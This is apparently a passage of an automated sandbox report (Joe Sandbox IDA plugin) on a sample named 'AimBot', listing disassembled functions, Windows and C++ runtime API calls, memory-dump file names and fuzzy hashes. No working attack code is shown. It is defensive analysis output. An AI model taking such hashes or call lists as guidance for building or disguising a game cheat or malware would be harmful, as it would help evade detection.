Instruction Fuzzy Hash: C4B092E6D023409FD0D02A217D52426B02A0513206F083835A80B27207AA26D11E405F

Function 006F2749 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33572cb7387b2917b0ac6e9159244de61c2815951c5bbac7ddb7a6dba3ad10bd
Instruction ID: 029aad2800b82b6f04b44764554e83c9954069f76b2da687a2252af000f19bfb
Opcode Fuzzy Hash: 33572cb7387b2917b0ac6e9159244de61c2815951c5bbac7ddb7a6dba3ad10bd
Instruction Fuzzy Hash: 5FC048309483018BC30ACF04D890A76F3B4AB8B301F002808E089A7262D7B0E80A8A1E

Function 006F1765 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b15ac777a0a2e5497f06b2ffc6e158a51efde99aa6e8d2a3686466ff71f09632
Instruction ID: 6b90606707a9ea268c44406d70e4afa9830a1b5901e513d672d2b2e3f8d04616
Opcode Fuzzy Hash: b15ac777a0a2e5497f06b2ffc6e158a51efde99aa6e8d2a3686466ff71f09632
Instruction Fuzzy Hash: 8BB009A0A66380878A982E3258A2539A1326E83302B003D7D6002231A38928D84C852D

Function 00706180 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f54a01862a724c0b2a12261556a903344ee73541c67c37648e58bc87f98724
Instruction ID: 903b020f23ab38b5ca5c9bed4878a087c5a20cea4d924af76b862f509e874819
Opcode Fuzzy Hash: 02f54a01862a724c0b2a12261556a903344ee73541c67c37648e58bc87f98724
Instruction Fuzzy Hash: A5B09230A082018BC200CF08D68082AF376AB8B201F20A200C00427216C230E845CA4D

Function 0070B7ED Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d261de6196bcda12b6c261e13866b8cdc0f64cd0d09d4a3b847630631096d6d
Instruction ID: df5530ba4ff6549bc4e56e729d07a295292a8755f548bfb9c37df75fc591c8fa
Opcode Fuzzy Hash: 4d261de6196bcda12b6c261e13866b8cdc0f64cd0d09d4a3b847630631096d6d
Instruction Fuzzy Hash: 4AB012F0D09280DBD6511F00BC01575F275A707203F00B434804D230239931C118861E

Function 007014C7 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee7f280dc370f55eb8a55fd9425526a67b9cb5c77d98e1e7f17922b1168c67f6
Instruction ID: ad14f049ffca7132a3cf3e09a5caa7f5401b0e3b720ee3ab9b77703cbb8db43d
Opcode Fuzzy Hash: ee7f280dc370f55eb8a55fd9425526a67b9cb5c77d98e1e7f17922b1168c67f6
Instruction Fuzzy Hash: 7B900220D4860087C1009E849940470E2B8D30B116F1036119008F3022C250D440454C

Function 006BA318 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 006BA437
___TypeMatch.LIBVCRUNTIME ref: 006BA545
CallUnexpected.LIBVCRUNTIME ref: 006BA6B2

Strings

csm, xrefs: 006BA355
csm, xrefs: 006BA3C2
csm, xrefs: 006BA46E
0m, xrefs: 006BA42E

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm$0m
API String ID: 1206542248-4129194445
Opcode ID: b293c11b201cd700d972f84169d9386c93120b9d17996618e0a8d4583a85fdcd
Instruction ID: 8a2ce349f78b00f6dbce342af9ef8dac28f62721427775f4170d41e939efeb46
Opcode Fuzzy Hash: b293c11b201cd700d972f84169d9386c93120b9d17996618e0a8d4583a85fdcd
Instruction Fuzzy Hash: 03B14AF1800209EFCF25DFE4C8819EEB7B6BF14310B18455AE9156B312D771DA91CBA6

Function 006B3AF8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006B3B04
int.LIBCPMT ref: 006B3B17

Part of subcall function 006B16B4: std::_Lockit::_Lockit.LIBCPMT ref: 006B16C5
Part of subcall function 006B16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 006B16DF

std::_Facet_Register.LIBCPMT ref: 006B3B4A
std::_Lockit::~_Lockit.LIBCPMT ref: 006B3B60
Concurrency::cancel_current_task.LIBCPMT ref: 006B3B6B

Strings

pks, xrefs: 006B3B0F

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID: pks
API String ID: 2081738530-3837076392
Opcode ID: b1d8ac0c5fdf850b62da387f5c74d6dcdc040cd9ff171b581752e074d0204380
Instruction ID: 444e066d2afad19a2ffbc97775fc562483d8b65301c0a3d4aeae8d85b6d001cd
Opcode Fuzzy Hash: b1d8ac0c5fdf850b62da387f5c74d6dcdc040cd9ff171b581752e074d0204380
Instruction Fuzzy Hash: 6101F7F2600028BBCB14EB54D8158EEB77ADF81760B20425DF9019B396EF309F818BD8

Function 006B404F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006B405C
int.LIBCPMT ref: 006B406F

Part of subcall function 006B16B4: std::_Lockit::_Lockit.LIBCPMT ref: 006B16C5
Part of subcall function 006B16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 006B16DF

std::_Facet_Register.LIBCPMT ref: 006B40A2
std::_Lockit::~_Lockit.LIBCPMT ref: 006B40B8
Concurrency::cancel_current_task.LIBCPMT ref: 006B40C3

Strings

`ks, xrefs: 006B4067

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID: `ks
API String ID: 2081738530-4170416344
Opcode ID: fd3cdfe265fcbad2fe67464d62b52be8eb276ff90b79f4c481a67c13ee1a927a
Instruction ID: aa03885ca8fef5381e89af2a0687dd3c88493c511a1a9eb6f4d7a4c48176e71d
Opcode Fuzzy Hash: fd3cdfe265fcbad2fe67464d62b52be8eb276ff90b79f4c481a67c13ee1a927a
Instruction Fuzzy Hash: E201A7F2900114B7CB14FB68D9159DE77AA9F80710F244158FA019B297EF349E85CBD8

Function 006CF0A8 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80f2ca8663047dbc33b29b3ccbb7ea82dd1da77114e24f1c5b9c028c755c6003
Instruction ID: ca9345e3269d5c4c0ed8bb1af8a13542e3d1c36ba271bae96fdae9778814e1f5
Opcode Fuzzy Hash: 80f2ca8663047dbc33b29b3ccbb7ea82dd1da77114e24f1c5b9c028c755c6003
Instruction Fuzzy Hash: 49B1ACB4A04249AFDB15DF98C880FBE7BB3EF45304F14816DE405AB392D7759A42CBA4

Function 006B50F8 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006B50FF
std::_Lockit::_Lockit.LIBCPMT ref: 006B5109
int.LIBCPMT ref: 006B5120

Part of subcall function 006B16B4: std::_Lockit::_Lockit.LIBCPMT ref: 006B16C5
Part of subcall function 006B16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 006B16DF

std::_Facet_Register.LIBCPMT ref: 006B515A
std::_Lockit::~_Lockit.LIBCPMT ref: 006B517A
Concurrency::cancel_current_task.LIBCPMT ref: 006B5187

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 9ba9f51076412218bfe389f3bd6848bd50396e847157594da04bc9fd49114456
Instruction ID: 996779a278b2c16466d17f3fe1b93f60ca174d9166ad42a1467768518b60a8ae
Opcode Fuzzy Hash: 9ba9f51076412218bfe389f3bd6848bd50396e847157594da04bc9fd49114456
Instruction Fuzzy Hash: 3511E1F6900614AFCB51EB68C8017EE77B7AF84721F54050DF402AB392DFB49E818B98

Function 006B9FAA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,006B9FA1,006B86C8,006B784F), ref: 006B9FB8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 006B9FC6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006B9FDF
SetLastError.KERNEL32(00000000,006B9FA1,006B86C8,006B784F), ref: 006BA031

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f304f99f74fe8131371d80124d6278f763f15893389e5c521eaaa45f78a41a9b
Instruction ID: 9e85b4af582c0863af587edad12f06bbdec6f05e4d295de3c6361e7a97de6081
Opcode Fuzzy Hash: f304f99f74fe8131371d80124d6278f763f15893389e5c521eaaa45f78a41a9b
Instruction Fuzzy Hash: D10128F291E312AED7A47AF87C85BEA2B87EB11378720122FF110812E0EF524C819355

Function 006C0CA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,1EF52B29,?,?,00000000,006D1D08,000000FF,?,006C0C30,?,?,006C0C04,00000000), ref: 006C0CD5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 006C0CE7
FreeLibrary.KERNEL32(00000000,?,?,00000000,006D1D08,000000FF,?,006C0C30,?,?,006C0C04,00000000), ref: 006C0D09

Strings

CorExitProcess, xrefs: 006C0CDF
mscoree.dll, xrefs: 006C0CCE

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5c11ecf6f09a2001e54ac2a57e228c031a96d1f4c7dce5bc5af6308e1a3ad1ec
Instruction ID: 1ab16432a9dd8a461b499a13ddd7d1ff01c3faaaaa4ad0b049bb69cc1583d93f
Opcode Fuzzy Hash: 5c11ecf6f09a2001e54ac2a57e228c031a96d1f4c7dce5bc5af6308e1a3ad1ec
Instruction Fuzzy Hash: 5D016231E0465AEFDB119B94DC05FAEBBBAFF04B15F11452BF812A2790DB74A900CA90

Function 006B417D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006B4189
int.LIBCPMT ref: 006B419C

Part of subcall function 006B16B4: std::_Lockit::_Lockit.LIBCPMT ref: 006B16C5
Part of subcall function 006B16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 006B16DF

std::_Facet_Register.LIBCPMT ref: 006B41CF
std::_Lockit::~_Lockit.LIBCPMT ref: 006B41E5
Concurrency::cancel_current_task.LIBCPMT ref: 006B41F0

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0dcdcd97bb69fe5e66450ddabae7105dff854fb2a30e94d3d4ad585617138adc
Instruction ID: 7a1200f66bb731fd03f2c2441eb3df1d3663f89ece21502819a4d3e2ab86ff02
Opcode Fuzzy Hash: 0dcdcd97bb69fe5e66450ddabae7105dff854fb2a30e94d3d4ad585617138adc
Instruction Fuzzy Hash: 1201A7F6900114BBCB15EB58D8558EE7B6ADF95760B20415CF9019B392EF309EC1C7C8

Function 006B4DC1 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006B4DC8
std::_Lockit::_Lockit.LIBCPMT ref: 006B4DD3
std::locale::_Setgloballocale.LIBCPMT ref: 006B4DEE
_Yarn.LIBCPMT ref: 006B4E04
std::_Lockit::~_Lockit.LIBCPMT ref: 006B4E41

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: ec0ee18ad0fa25ffde230c2b07c32d467ebcf47957f7172224c8c3bb016f7aa9
Instruction ID: 8501632c2091d61a8ad213475d70c5a2420021bf7c358df04c6a0408bccdede5
Opcode Fuzzy Hash: ec0ee18ad0fa25ffde230c2b07c32d467ebcf47957f7172224c8c3bb016f7aa9
Instruction Fuzzy Hash: DC01B1B5A005219BDB06EB20E8556BC7BA3BF84350B19400EF90157392DF789E82CB99

Function 006BB0F2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,006BB0A3,00000000,?,007362EC,?,?,?,006BB246,00000004,InitializeCriticalSectionEx,006D3BB8,InitializeCriticalSectionEx), ref: 006BB0FF
GetLastError.KERNEL32(?,006BB0A3,00000000,?,007362EC,?,?,?,006BB246,00000004,InitializeCriticalSectionEx,006D3BB8,InitializeCriticalSectionEx,00000000,?,006BAFFD), ref: 006BB109
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 006BB131

Strings

api-ms-, xrefs: 006BB116

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 10437e4c2a773cf4557a266c24df8ba23264c70271829aa2df56a07e5650710b
Instruction ID: 681213c015bd079ed7f6220d0dd96b84cf59db06ec545811bdfdda3cd21dde17
Opcode Fuzzy Hash: 10437e4c2a773cf4557a266c24df8ba23264c70271829aa2df56a07e5650710b
Instruction Fuzzy Hash: AEE04870640205B7DF201F60DC16FA93F57EB20B40F149021F90DE41E1E7A1D960C794

Function 006C7495 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(1EF52B29,00000000,00000000,00000000), ref: 006C74F8

Part of subcall function 006C927A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,006C8D21,?,00000000,-00000008), ref: 006C9326

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006C7753
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 006C779B
GetLastError.KERNEL32 ref: 006C783E

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 997ece2622dec3a33960178d1928d554036c57a4b304c7e0e8909a56c6c3c885
Instruction ID: 3a87474cb4778cb43f8cba3c52d33f4c746a7ada0bb672eafe230663ef24242c
Opcode Fuzzy Hash: 997ece2622dec3a33960178d1928d554036c57a4b304c7e0e8909a56c6c3c885
Instruction Fuzzy Hash: 09D14775E042589FCB15CFA8D894AEDBBB6FF08304F18816EE915E7351D630A942CF50

Function 006BA0C1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 006BA188
___AdjustPointer.LIBCMT ref: 006BA1AB
___AdjustPointer.LIBCMT ref: 006BA247

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e6ba6c0e7fe0067f613c5d4f3cc71fdd5ef9f006f01ea095652ff0c10fa39725
Instruction ID: 8fb51358348537c95f0ef7137f1ea565c497bacbd4d971890a185e72d2295dae
